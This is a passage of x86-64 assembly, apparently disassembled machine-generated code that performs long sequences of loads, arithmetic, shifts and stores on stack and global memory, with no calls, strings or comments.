mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x20a], al
lea rax, [rsp + 0x1060]
mov qword [rsp + 0xa910], rax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f70]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0xa918], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x8730]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a08]
mov qword [rcx], rax
lea rax, [rsp + 0x3e34]
mov qword [rsp + 0xa920], rax
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x75c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6d48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7468]
mov rcx, qword [rsp + 0xa3c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9138], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xa928], rax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0x9e10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b8]
add eax, ecx
mov rcx, qword [rsp + 0xa5b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0x20b], al
movzx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0x9c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0x9050]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f6c]
mov dword [rsp + 0x430c], eax
mov rax, qword [rsp + 0x6cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9608]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0xa6d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1278]
sub eax, ecx
mov rcx, qword [rsp + 0x7500]
mov word [rcx], ax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [0x14017ab50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a5c5], al
mov rax, qword [rsp + 0x8428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7870]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x121], al
lea rax, [rsp + 0xed0]
mov qword [rsp + 0xa930], rax
movsx eax, byte [rsp + 0x208]
movsx ecx, byte [0x14017a5c5]
shl eax, cl
mov byte [rsp + 0x12a], al
mov eax, dword [rsp + 0x3f78]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0x90f8]
mov ecx, dword [rsp + 0x3c88]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x89b0]
mov rax, qword [rax]
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0x7f00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa6d8]
sar rax, cl
mov rcx, qword [rsp + 0x84c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa000]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd68], ax
lea rax, [rsp + 0xcf8]
mov qword [0x14017aca8], rax
lea rax, [rsp + 0x1bf]
mov qword [rsp + 0xa940], rax
mov rax, qword [rsp + 0x9290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
imul eax, ecx
mov rcx, qword [rsp + 0x9420]
mov word [rcx], ax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0x96f8]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa708], rax
mov rax, qword [rsp + 0x6e98]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4130]
mov dword [rsp + 0x4318], eax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x8f80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa378], rax
movzx eax, word [rsp + 0x1314]
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1090]
imul eax, ecx
mov word [0x14017a4f8], ax
movzx eax, byte [0x14017906a]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0x8ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf5], al
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x20d], al
movsx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7650]
mov byte [rcx], al
lea rax, [rsp + 0x83a0]
mov qword [rsp + 0xa948], rax
mov rax, qword [rsp + 0x8608]
mov ecx, dword [rsp + 0x3cac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d58], eax
mov rax, qword [rsp + 0x7410]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cd0], rax
lea rax, [rsp + 0x3d60]
mov qword [rsp + 0xa950], rax
lea rax, [rsp + 0xc88]
mov qword [0x14017acb0], rax
mov rax, qword [0x14017ac78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa100]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
mov rax, qword [rsp + 0x9488]
movzx eax, word [rax]
mov word [rsp + 0x1354], ax
mov rax, qword [rsp + 0x88e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x82a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1108], ax
movzx eax, byte [0x14017a583]
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0xa3e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a90]
mov qword [rsp + 0xa958], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa958]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa348]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c20]
mov rcx, qword [rsp + 0x6a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3df4], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0xa960], rax
mov rax, qword [rsp + 0x72f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f04]
shl eax, cl
mov rcx, qword [rsp + 0x7ea0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0xcb]
and eax, ecx
mov byte [0x1401790cb], al
lea rax, [rsp + 0x12f]
mov qword [rsp + 0xa968], rax
movzx eax, word [rsp + 0xfc4]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9960]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x9948]
movzx eax, word [rax]
mov word [rsp + 0x1358], ax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42e0], eax
mov rax, qword [rsp + 0x98d8]
mov eax, dword [rax]
mov dword [rsp + 0x431c], eax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0x90c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa160]
movzx eax, word [rax]
mov rcx, qword [0x14017a528]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140179040], ax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x7598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x189], al
lea rax, [rsp + 0x190]
mov qword [rsp + 0xa970], rax
mov rax, qword [0x14017ab38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7bf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov qword [rsp + 0xa978], rax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0x91f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9470], rax
mov eax, dword [rsp + 0x3d04]
mov dword [rsp + 0x4320], eax
mov rax, qword [rsp + 0x7688]
movzx eax, byte [rax]
mov rcx, qword [0x14017a948]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017907e], al
mov rax, qword [rsp + 0x92b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x88]
or eax, ecx
mov byte [rsp + 0x65], al
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0x9bc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf7c]
shl eax, cl
mov rcx, qword [rsp + 0x8b98]
mov word [rcx], ax
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1220]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8248]
mov eax, dword [rax]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0x78f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4180], eax
lea rax, [rsp + 0xa8d8]
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x95d0], rax
lea rax, [rsp + 0x11d8]
mov qword [0x14017acb8], rax
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
sub eax, ecx
mov byte [rsp + 0xae], al
movzx eax, word [rsp + 0x1110]
mov word [rsp + 0x1360], ax
movzx eax, byte [rsp + 0x10d]
movzx ecx, byte [0x14017a5c6]
add eax, ecx
mov byte [rsp + 0x16f], al
movzx eax, word [rsp + 0x10d0]
mov word [rsp + 0x1364], ax
mov eax, dword [rsp + 0x4214]
mov ecx, dword [rsp + 0x3fb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dac], eax
mov rax, qword [rsp + 0xa268]
mov rcx, qword [rsp + 0x83a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x92d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e50]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0x7ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f10]
movsx eax, byte [rax]
mov rcx, qword [0x14017a540]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401790b7], al
lea rax, [rsp + 0x1050]
mov qword [rsp + 0xa998], rax
mov rax, qword [rsp + 0x9cb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8680]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9cb8]
mov byte [rcx], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0xa9a0], rax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x101]
sub eax, ecx
mov rcx, qword [rsp + 0x70c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8b40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0x9940]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x4094]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov dword [rcx], eax
lea rax, [rsp + 0x426c]
mov qword [rsp + 0xa9b0], rax
movzx eax, word [rsp + 0xf1c]
mov word [0x14017acc0], ax
movzx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x6de0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x87], al
movzx eax, word [rsp + 0x12c0]
movzx ecx, word [rsp + 0xc30]
cdq
idiv ecx
mov word [rsp + 0xf54], ax
lea rax, [rsp + 0x144]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0x7fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec4]
sar eax, cl
mov word [rsp + 0x1188], ax
lea rax, [rsp + 0x4148]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0x7020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9228]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x88b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa730]
mov rcx, qword [rsp + 0x7c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95f8], rax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0xa9c8], rax
mov rax, qword [rsp + 0x9f60]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a583]
add eax, ecx
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x87e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a59e], al
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0x76f8]
movzx eax, word [rax]
mov rcx, qword [0x14017abf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x9078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1280]
sub eax, ecx
mov word [rsp + 0xe9c], ax
mov eax, dword [rsp + 0x3da4]
mov dword [rsp + 0x4328], eax
mov rax, qword [rsp + 0x8060]
mov rcx, qword [rsp + 0xa938]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8278], rax
mov eax, dword [rsp + 0x4194]
mov dword [rsp + 0x432c], eax
mov rax, qword [rsp + 0xa570]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9940], rax
lea rax, [rsp + 0x107c]
mov qword [rsp + 0xa9d8], rax
lea rax, [0x140179087]
mov qword [0x14017acc8], rax
mov rax, qword [rsp + 0xa770]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b8]
and eax, ecx
mov byte [rsp + 0xf7], al
movsx eax, word [rsp + 0xdb8]
movsx ecx, word [rsp + 0x120c]
sub eax, ecx
mov word [rsp + 0x1020], ax
lea rax, [rsp + 0x42]
mov qword [rsp + 0xa9e0], rax
mov rax, qword [rsp + 0x9e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ca8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78d8]
mov qword [rsp + 0xa9e8], rax
mov rax, qword [rsp + 0x7ff0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9cd0]
shl rax, cl
mov qword [rsp + 0x9928], rax
mov rax, qword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x3db8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8700]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov word [rsp + 0x1368], ax
lea rax, [rsp + 0xc34]
mov qword [0x14017acd0], rax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8680]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa7f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e70]
movzx eax, byte [rax]
mov byte [rsp + 0x20f], al
movsx eax, byte [rsp + 0x1d0]
mov rcx, qword [0x14017a818]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0x9af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42ac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8698]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x4330], eax
mov rax, qword [rsp + 0x8f28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa380]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9bd8]
mov qword [rsp + 0xa9f0], rax
movsx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e38]
mov word [rcx], ax
mov rax, qword [0x14017a720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [0x14017a5e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f60]
movzx eax, byte [rax]
mov byte [rsp + 0x210], al
mov rax, qword [rsp + 0x82d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa488]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1194], ax
mov rax, qword [0x14017a6f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov rcx, qword [rsp + 0x8000]
mov word [rcx], ax
lea rax, [rsp + 0x156]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0xa848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40a8], eax
mov eax, dword [rsp + 0x3c3c]
mov dword [rsp + 0x4334], eax
mov rax, qword [rsp + 0x8b90]
mov rcx, qword [rsp + 0xa810]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0x7ca0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe88]
movzx ecx, word [rsp + 0x1060]
or eax, ecx
mov word [0x14017902c], ax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0xaa00], rax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
movzx ecx, byte [0x140179033]
shl eax, cl
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0x117c]
mov word [rsp + 0x136c], ax
movsx eax, byte [rsp + 0xec]
movsx ecx, byte [rsp + 0xd3]
sar eax, cl
mov rcx, qword [rsp + 0xa3a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f58]
mov ecx, dword [rsp + 0x40c4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7188]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa268]
mov rax, qword [rax]
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0xa858]
mov rcx, qword [rsp + 0x9ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c00], rax
lea rax, [rsp + 0x4078]
mov qword [rsp + 0xaa10], rax
lea rax, [0x140179060]
mov qword [0x14017acd8], rax
mov rax, qword [rsp + 0x9948]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8150]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b3]
and eax, ecx
mov byte [rsp + 0x116], al
lea rax, [0x14017909e]
mov qword [rsp + 0xaa18], rax
movzx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8408]
mov byte [rcx], al
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov qword [rsp + 0xaa20], rax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3c80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9888]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa318]
mov eax, dword [rax]
mov dword [rsp + 0x4338], eax
mov rax, qword [rsp + 0x9dc0]
mov rcx, qword [rsp + 0x9698]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0xa788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8898]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017918c], ax
movzx eax, word [rsp + 0xce8]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
mov rax, qword [0x14017ac58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7340]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0x73b8]
mov rcx, qword [rsp + 0x7150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x73b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x7460]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0xa828]
mov qword [rsp + 0xaa30], rax
mov rax, qword [rsp + 0x8d48]
mov rcx, qword [rsp + 0x7808]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c50], eax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9e38]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401790a4], ax
movzx eax, byte [rsp + 0x176]
mov byte [rsp + 0x212], al
movzx eax, word [rsp + 0xf30]
mov rcx, qword [0x14017a9e8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x95e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa500]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0xc28]
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0x7d38]
mov rcx, qword [rsp + 0x8ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa8d8], rax
lea rax, [rsp + 0x9b90]
mov qword [rsp + 0xaa40], rax
mov rax, qword [rsp + 0x8dd0]
mov rcx, qword [rsp + 0x73d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x85a0]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4020], eax
lea rax, [rsp + 0x104c]
mov qword [0x14017ace0], rax
lea rax, [rsp + 0x161]
mov qword [rsp + 0xaa48], rax
mov rax, qword [rsp + 0x8190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10a4]
add eax, ecx
mov rcx, qword [rsp + 0x7d90]
mov word [rcx], ax
lea rax, [rsp + 0xba]
mov qword [rsp + 0xaa50], rax
movzx eax, word [rsp + 0x11ec]
mov rcx, qword [rsp + 0x8ff0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8718]
mov word [rcx], ax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xaa58], rax
mov rax, qword [rsp + 0x6ef0]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x86f8]
mov rcx, qword [rsp + 0x9448]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9500]
mov qword [rcx], rax
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0xaa60], rax
movzx eax, byte [rsp + 0x19a]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a630]
mov byte [rcx], al
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x16d]
sub eax, ecx
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0xa398]
movzx eax, byte [rax]
mov byte [rsp + 0x213], al
mov rax, qword [0x14017a988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7528]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10c0], ax
mov eax, dword [rsp + 0x3ff4]
mov dword [rsp + 0x433c], eax
mov rax, qword [rsp + 0xa0f8]
mov rcx, qword [rsp + 0x8b80]
mov qword [rsp + 0xaa68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa68]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8f28]
mov qword [rcx], rax
lea rax, [rsp + 0x3d7c]
mov qword [rsp + 0xaa70], rax
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8470]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f50]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140179190], ax
movsx eax, byte [rsp + 0xec]
movsx ecx, byte [rsp + 0x161]
and eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0xa300]
movzx eax, word [rax]
mov word [rsp + 0x1370], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0x8208]
mov rcx, qword [rsp + 0x8848]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7890]
mov eax, dword [rax]
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0x8e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7888]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x8020]
mov rcx, qword [rsp + 0xa978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2d0], rax
movzx eax, byte [rsp + 0x13b]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x8e98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x89a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a5f8]
mov byte [rcx], al
movzx eax, word [0x140179074]
mov rcx, qword [rsp + 0x9960]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7ea8]
mov word [rcx], ax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0xaa78], rax
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0xa368]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov eax, dword [rsp + 0x3dfc]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92a0]
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0x82e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9328]
sub rcx, rax
mov rax, rcx
